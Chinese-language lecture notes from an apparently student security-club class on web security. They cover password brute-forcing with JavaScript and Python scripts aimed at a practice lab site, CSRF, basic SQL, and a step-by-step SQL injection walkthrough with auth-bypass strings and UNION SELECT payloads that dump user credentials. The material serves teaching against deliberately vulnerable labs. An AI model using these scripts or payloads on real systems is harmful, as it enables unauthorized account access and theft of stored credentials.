# 網頁安全 2
:::info
時間:11/28 19:00~21:00
地點:學活中心 3樓 第三會議室
主題:網頁安全 2
簡報:
回饋表單:https://forms.gle/Le5LbCBExWrSUZGv6
>fei@kiwissec.com[name=飛飛]
:::
## 上週連結
- https://hackmd.io/GjdKRn8jQIa9TB0Rcxu3-Q
- 進度
- cookie 機制
- XSS 機制
- SQL injection 資料庫相關漏洞攻擊手法
- SQL map 工具如何使用
## 進度表
https://docs.google.com/spreadsheets/d/1NXl0CoDPFXxu3N1wVC4rQHItXitpBtgixblSx63GLdk/edit?usp=sharing
## 暴力破解機制
1. 收集有效的帳號列表
2. 收集有效/現成的密碼列表
- [字典檔列表](https://github.com/danielmiessler/SecLists/blob/master/Passwords/darkweb2017-top10000.txt)
3. 分析一下登入的介面
- 開啟開發者工具(F12、右鍵>檢視)
- 打開元素,目的 -> 分析 `HTML`
- 找到登入框(輸入帳號密碼的地方)
- form 標籤 --> 表單
- action
- 傳資料傳過去的目的地
- method
- 傳資料使用了什麼方法
- ex 網址(GET)、表單(POST)
- 目的不同,使用的方法也不同
- 兩個輸入框(輸入帳號密碼)
- input 標籤
4. 分析輸入帳號密碼如果錯誤會有什麼特徵
- "帳號密碼錯誤" 根據這個特徵繼續爆破
- 直到不是"帳號密碼錯誤"的關鍵字
5. 撰寫攻擊程式
- BurpSuite
- Python
- JavaScript
- Kali Linux (駭客作業系統)
- [hydra](https://www.kali.org/tools/hydra/)
6. 使用 JavaScript 進行測試與範例
```
// 帳號和密碼的列表
var usernames = [ 'admin','1'];
var passwords = ['123456', '111111', '1'];
// 定義一個函數來處理登入和回應
function loginAndFetchFirstLine(username, password) {
var formData = new FormData();
formData.append('username', username);
formData.append('password', password);
fetch('/login.php', {
method: 'POST',
body: formData
})
.then(response => response.text())
.then(data => {
var firstLine = data.split('\n')[0];
console.log(`Username: ${username}, Password: ${password}, First Line: ${firstLine}`);
})
.catch(error => {
console.error('Error:', error);
});
}
// 使用嵌套迴圈遍歷每個帳號和密碼組合
for (var i = 0; i < usernames.length; i++) {
for (var j = 0; j < passwords.length; j++) {
loginAndFetchFirstLine(usernames[i], passwords[j]);
}
}
```
### lab 1
- 大家嘗試一下使用 JS 來進行爆破
- 打開弱點網站
- http://vullab.feifei.tw/login.php
- 
- 開啟開發人員工具
- 打開主控台
- 
- 送出攻擊程式碼
- 
- 確認是否攻擊成功
- 
- 
## https://curlconverter.com/

```
import requests
cookies = {
'PHPSESSID': '7f946931daa475a2202cac7e3af3d9ac',
}
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
'Cache-Control': 'no-cache',
'Connection': 'keep-alive',
'Content-Type': 'application/x-www-form-urlencoded',
# 'Cookie': '_ga_EQDN3BWDSD=GS1.1.1699348354.4.1.1699349618.0.0.0; _ga=GA1.1.985582985.1699082190; _ga_HLDNFCVMBK=GS1.1.1699600453.11.1.1699600578.0.0.0; _ga_JS7QCCTX9Q=GS1.1.1699608984.12.0.1699608984.0.0.0; PHPSESSID=7f946931daa475a2202cac7e3af3d9ac',
'Origin': 'http://vullab.feifei.tw',
'Pragma': 'no-cache',
'Referer': 'http://vullab.feifei.tw/login.php',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0',
}
data = {
'username': 'a',
'password': 'a',
}
# 帳號密碼的字典檔案
username_list = ["1","admin"]
password_list = ["1","admin11111111"]
for username in username_list:
for password in password_list:
data['username'] = username
data['password'] = password
response = requests.post('http://vullab.feifei.tw/login.php', cookies=cookies, headers=headers, data=data, verify=False)
print(response.text)
```
## 網路概念
1. 協定 protocol
2. 網頁世界協定-HTTP
- 請求封包
- 瀏覽器自動構造
- curl
- 開發人員工具內建 Netword
- 回應封包
- [狀態碼](https://http.cat/)
- 1XX 資訊狀態: 協定轉換、資訊內容
- 2XX 成功狀態: 200ok(檔案內容正常)201 新增成功
- 3XX 跳轉狀態: 301 vs 302
- 4XX 使用者錯誤: 401(沒輸入帳號密碼) 403(權限不夠) 404(這東西根本存在)
- 5XX 伺服器錯誤: 500 503 伺服器沒有辦法應付請求(ex 搶演唱會的票)
- https://http.dog/
3. 編碼機制
- URL 編碼
- [網站](https://www.urldecoder.org/)
- Base64
- [網站](https://www.base64decode.org/)
### CSRF
- https://superlogout.com
- 使用者登入的狀態
- 在不經意(非經許可)的情況底下送出請求
- CSRF 弱點
- 防護手法
- 表單放 CSRF token
- 功能
- 登出
- 轉帳(區塊鍊、錢包)
- 網站其他功能
## 資料庫
- lab
- https://lab.feifei.tw/practice/sqli/
- 放資料的地方
- 很像 excel/試算表
- 語法
- 可能有弱點的地方
### 體驗資料庫後台
- XAMPP
- Windows/Mac(跨平台)
- 圖形化架設網站
- X 混合
- Apach
- MySQL
- PHP (程式語言)
- Perl (程式語言)
- MySQL
- 資料庫管理軟體
- 後台(圖形化操作資料庫)
- phpmyadmin
- 


## 學習基礎 SQL 使用
`SELECT * FROM employees;`
`SELECT name, department FROM employees where name='Bob';`
- 
- SQL
- 所有欄位
- FROM 資料表
- 這一個資料表的所有欄位
- 4
- SELECT id,name,address,salary FROM employees
### MySQL Functions 內建
- user() / current_user()
- 查詢正在登入使用者名稱
- version()/ @@version
- 版本
- database() / schema()
- 資料庫的名稱




`SELECT table_name FROM information_schema.tables WHERE table_schema='myDb'`

`SELECT column_name FROM information_schema.columns WHERE table_name='user_system_data'`

`SELECT userid,user_name,password,cookie FROM myDb.user_system_data`
- Pedro
- 
:::spoiler Lab Solve
`SELECT schema_name FROM information_schema.schemata` -> 找資料庫列表
`SELECT table_name FROM information_schema.tables WHERE table_schema='myDb'` -> 基於資料庫名稱找資料表
`SELECT column_name FROM information_schema.columns WHERE table_name='user_system_data'` -> 基於資料表名稱找資料欄位
`SELECT userid,user_name,password,cookie FROM myDb.user_system_data` -> 資料庫,資料表,資料欄位 > 最終目的: 找資料
:::
### SQL injection
- 登入帳號密碼
- 正常輸入帳號密碼
- `SELECT * FROM admins WHERE username='admin and password='2u8c*4k2MzKPWZGfri';`
- 帳號輸入`admin' -- #`
- 影響邏輯
- `'or '1'='1' -- #`
- **將邏輯變成 "沒有特殊條件查詢"**
- 找到所有資料
- 
- https://zeroday.hitcon.org/api/vulnerability/8540/attachments/543a2af3e5967c86b8fcb40bbf28e972

`"SELECT * FROM user_data WHERE first_name = 'Everett' AND last_name = 'feo'";`
- 原始查詢
- 條件符合 first_name = 'Everett' 並且也符合 last_name = 'feo' ==> 同時成立
10 or 1=1 -- #

- Union select
- 原始查詢個數 ex 原本查了兩個欄位,union select 也要查兩個欄位
- 
- 特性 型態要一樣
- 
- 程式碼
- 輸出數字(算金額) 程式邏輯出錯
- DBMS 自動轉換 數字<==>文字
如何查詢原本的欄位有多少欄位數量
Carter' order by 1 -- #
Carter' order by 2 -- #
Carter' order by 3 -- #
Carter' order by 4 -- #
Carter' order by 5 -- #
Carter' order by 6 -- #
Carter' order by 7 -- # ==> 表示原始查詢有七個欄位
Carter' order by 8 -- # ==> 錯誤
order by 數字 ==> 基於第__個欄位進行排序
#### step 1: 補成union select 格式搭配我查到原始查詢的個數
SELECT * FROM user_data WHERE last_name = '' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL -- #
#### 搭配資訊資料庫
資訊資料庫
information_schema 存放所有資料庫、資料表、資料欄位
找資料庫名稱
SELECT schema_name FROM information_schema.schemata
資料表名稱
SELECT table_name FROM information_schema.tables WHERE table_schema='資料庫名稱'
找欄位名稱
SELECT column_name FROM information_schema.columns WHERE table_name='資料表名稱'
#### 找資料庫名稱
' union select NULL,schema_name,NULL,NULL,NULL,NULL,NULL FROM information_schema.schemata -- #

' union select NULL,group_concat(schema_name),NULL,NULL,NULL,NULL,NULL FROM information_schema.schemata -- #

#### 資料表名稱
' union select NULL,group_concat(table_name),NULL,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema='myDb' -- #

employees,moneypig,products,user_data,user_salary_data,user_system_data
#### 資料欄位
' union select NULL,group_concat(column_name),NULL,NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='user_system_data' -- #

#### 找資料
' union select NULL,username,password,NULL,NULL,NULL,NULL FROM myDb.user_system_data -- #
' union select NULL,group_concat(username),NULL,NULL,NULL,NULL,NULL FROM myDb.user_system_data -- #
' union select NULL,user_name,password,NULL,NULL,NULL,NULL FROM myDb.user_system_data -- #
' union select NULL,group_concat(user_name),group_concat(password),NULL,NULL,NULL,NULL FROM myDb.user_system_data -- #


## 小結
- 爆破密碼策略
- 收集帳號
- 密碼字典檔
- python (curl to python ) or JS 爆破
- 複習網路概論
- HTTP 封包概念
- 狀態碼
- Cookie 機制
- 弱點
- CSRF
- SQL injection
- 資料庫有關係攻擊方法
- sqlmap
- 失去了解漏洞原理
- 先了解原理再學工具
## 回家作業
- 基礎
- https://lab.feifei.tw/practice/sqli/released.php?category=Gifts
- union select
- https://lab.feifei.tw/practice/sqli/news.php
- view-source:https://lab.feifei.tw/practice/sqli/login.php
- 題目
## 資源
- 指南
- https://feifei.tw/security-getting-started/
- 閱讀方針指南
- https://www.pentesterlab.com/bootcamp
- lab
- lab.feifei.tw
- https://portswigger.net/web-security
## 回饋表單
https://forms.gle/Le5LbCBExWrSUZGv6